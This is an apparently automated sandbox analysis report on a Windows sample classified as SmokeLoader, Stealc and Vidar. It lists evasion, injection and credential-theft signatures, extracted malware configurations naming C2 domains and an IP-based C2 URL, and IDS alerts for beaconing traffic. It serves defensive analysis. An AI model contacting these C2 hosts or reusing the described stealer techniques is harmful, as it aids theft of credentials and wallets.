Windows Analysis Report
h8jGj6Qe78.exe

Overview

General Information

Sample name: h8jGj6Qe78.exe
renamed because original name is a hash value
Original sample name: fd192fb05e0cd219b14c5bf345f33cfb.exe
Analysis ID: 1502474
MD5: fd192fb05e0cd219b14c5bf345f33cfb
SHA1: fbadb3784b44770045f6c84f3cc2db34e1b6863a
SHA256: 0599250511b7b3ec63303fa14e98edef3092d61614e07106cf274bd6d43b2451
Tags: exeStealc
Infos:

Detection

CryptOne, SmokeLoader, Stealc, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Benign windows process drops PE files
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected CryptOne packer
Yara detected Powershell download and execute
Yara detected SmokeLoader
Yara detected Stealc
Yara detected Vidar stealer
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if the current machine is a virtual machine (disk enumeration)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Deletes itself after installation
Drops PE files with a suspicious file extension
Found many strings related to Crypto-Wallets (likely being stolen)
Found stalling execution ending in API Sleep call
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Sample uses process hollowing technique
Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
Sigma detected: WScript or CScript Dropper
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript called in batch mode (surpress errors)
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops files with a non-matching file extension (content does not match file extension)
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain (may stop execution after checking a module file name)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: SCR File Write Event
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Suspicious Screensaver Binary File Creation
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sleep loop found (likely to delay execution)
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara detected Keylogger Generic
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
SmokeLoader The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
  • SMOKY SPIDER
 https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://91.202.233.158/e96ea2db21fa9a1b.phpK Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/nss3.dllA5 Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/msvcp140.dll Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/nss3.dll% Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.php.dll Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/sqlite3.dll Avira URL Cloud: Label: malware
Source: http://91.202.233.158/ Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.php3 Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.php Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/msvcp140.dllj Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.phpK0 Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.php7 Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/nss3.dll: Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.php-fulluser-l1-1-0 Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.php? Avira URL Cloud: Label: malware
Source: http://91.202.233.158/7 Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/vcruntime140.dll Avira URL Cloud: Label: malware
Source: http://91.202.233.158/E Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.phpg Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.phpo Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/nss3.dll Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/freebl3.dll Avira URL Cloud: Label: malware
Source: http://91.202.233.158/3836fd5700214436/softokn3.dllR Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.phpg0 Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.phpN= Avira URL Cloud: Label: malware
Source: http://91.202.233.158/e96ea2db21fa9a1b.phption: Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000003.00000002.1937857892.00000000006B0000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://epohe.ru/tmp/", "http://olihonols.in.net/tmp/", "http://nicetolosv.xyz/tmp/", "http://jftolsa.ws/tmp/"]}
Source: 26.2.DFA6.exe.35b0000.1.raw.unpack Malware Configuration Extractor: StealC {"C2 url": "http://91.202.233.158/e96ea2db21fa9a1b.php", "Botnet": "default"}
Source: 26.2.DFA6.exe.35b0000.1.raw.unpack Malware Configuration Extractor: Vidar {"C2 url": "http://91.202.233.158/e96ea2db21fa9a1b.php", "Botnet": "default"}
Multi AV Scanner detection for domain / URL
Source: http://91.202.233.158/3836fd5700214436/msvcp140.dll Virustotal: Detection: 5% Perma Link
Source: http://91.202.233.158/3836fd5700214436/sqlite3.dll Virustotal: Detection: 5% Perma Link
Source: http://91.202.233.158/e96ea2db21fa9a1b.phpK Virustotal: Detection: 11% Perma Link
Source: http://91.202.233.158/ Virustotal: Detection: 12% Perma Link
Source: http://91.202.233.158/e96ea2db21fa9a1b.php Virustotal: Detection: 5% Perma Link
Source: http://91.202.233.158/3836fd5700214436/vcruntime140.dll Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Roaming\ewggbbh ReversingLabs: Detection: 42%
Multi AV Scanner detection for submitted file
Source: h8jGj6Qe78.exe ReversingLabs: Detection: 42%
Source: h8jGj6Qe78.exe Virustotal: Detection: 40% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\ewggbbh Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\329C.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: h8jGj6Qe78.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C846C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 29_2_6C846C80
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C99A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 29_2_6C99A9A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9944C0 PK11_PubEncrypt, 29_2_6C9944C0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C964420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free, 29_2_6C964420
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C994440 PK11_PrivDecrypt, 29_2_6C994440
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9E25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt, 29_2_6C9E25B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C97E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free, 29_2_6C97E6E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C99A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext, 29_2_6C99A650
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C978670 PK11_ExportEncryptedPrivKeyInfo, 29_2_6C978670
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9BA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError, 29_2_6C9BA730
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9C0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util, 29_2_6C9C0180
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9943B0 PK11_PubEncryptPKCS1,PR_SetError, 29_2_6C9943B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9B7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util, 29_2_6C9B7C00
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9BBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy, 29_2_6C9BBD30
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C977D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey, 29_2_6C977D60
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9B9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo, 29_2_6C9B9EC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C993FF0 PK11_PrivDecryptPKCS1, 29_2_6C993FF0
Uses 32bit PE files
Source: h8jGj6Qe78.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 84.32.84.144:443 -> 192.168.2.4:56171 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: svchost015.exe, 0000001D.00000002.2675141656.000000006C8AD000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.29.dr, mozglue.dll.29.dr
Source: Binary string: freebl3.pdb source: freebl3.dll.29.dr
Source: Binary string: freebl3.pdbp source: freebl3.dll.29.dr
Source: Binary string: nss3.pdb@ source: svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr
Source: Binary string: RegAsm.pdb source: RegAsm.exe, 0000001F.00000000.3039162333.0000000000272000.00000002.00000001.01000000.00000010.sdmp, RegAsm.exe.17.dr
Source: Binary string: softokn3.pdb@ source: softokn3.dll.29.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.29.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.29.dr, msvcp140[1].dll.29.dr
Source: Binary string: RegAsm.pdb4 source: RegAsm.exe, 0000001F.00000000.3039162333.0000000000272000.00000002.00000001.01000000.00000010.sdmp, RegAsm.exe.17.dr
Source: Binary string: nss3.pdb source: svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr
Source: Binary string: mozglue.pdb source: svchost015.exe, 0000001D.00000002.2675141656.000000006C8AD000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.29.dr, mozglue.dll.29.dr
Source: Binary string: softokn3.pdb source: softokn3.dll.29.dr
Source: C:\Users\user\AppData\Local\Temp\329C.exe Code function: 7_2_004062EB FindFirstFileW,FindClose, 7_2_004062EB
Source: C:\Users\user\AppData\Local\Temp\329C.exe Code function: 7_2_00406CB1 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 7_2_00406CB1
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E84005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 25_2_00E84005
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose, 25_2_00E8C2FF
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8494A GetFileAttributesW,FindFirstFileW,FindClose, 25_2_00E8494A
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, 25_2_00E8CD9F
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8CD14 FindFirstFileW,FindClose, 25_2_00E8CD14
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 25_2_00E8F5D8
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 25_2_00E8F735
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose, 25_2_00E8FA36
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E83CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 25_2_00E83CE2
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\795933\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\795933 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\ Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56147 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56147 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56151 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56151 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56155 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56153 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56149 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56142 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56150 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56158 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56158 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56146 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56146 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56144 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56145 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56152 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56152 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56156 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56144 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56159 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56159 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56157 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56145 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56143 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56148 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56154 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56161 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56164 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56162 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56167 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56167 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56165 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56166 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56168 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56170 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56172 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56173 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56174 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56176 -> 191.191.224.16:80
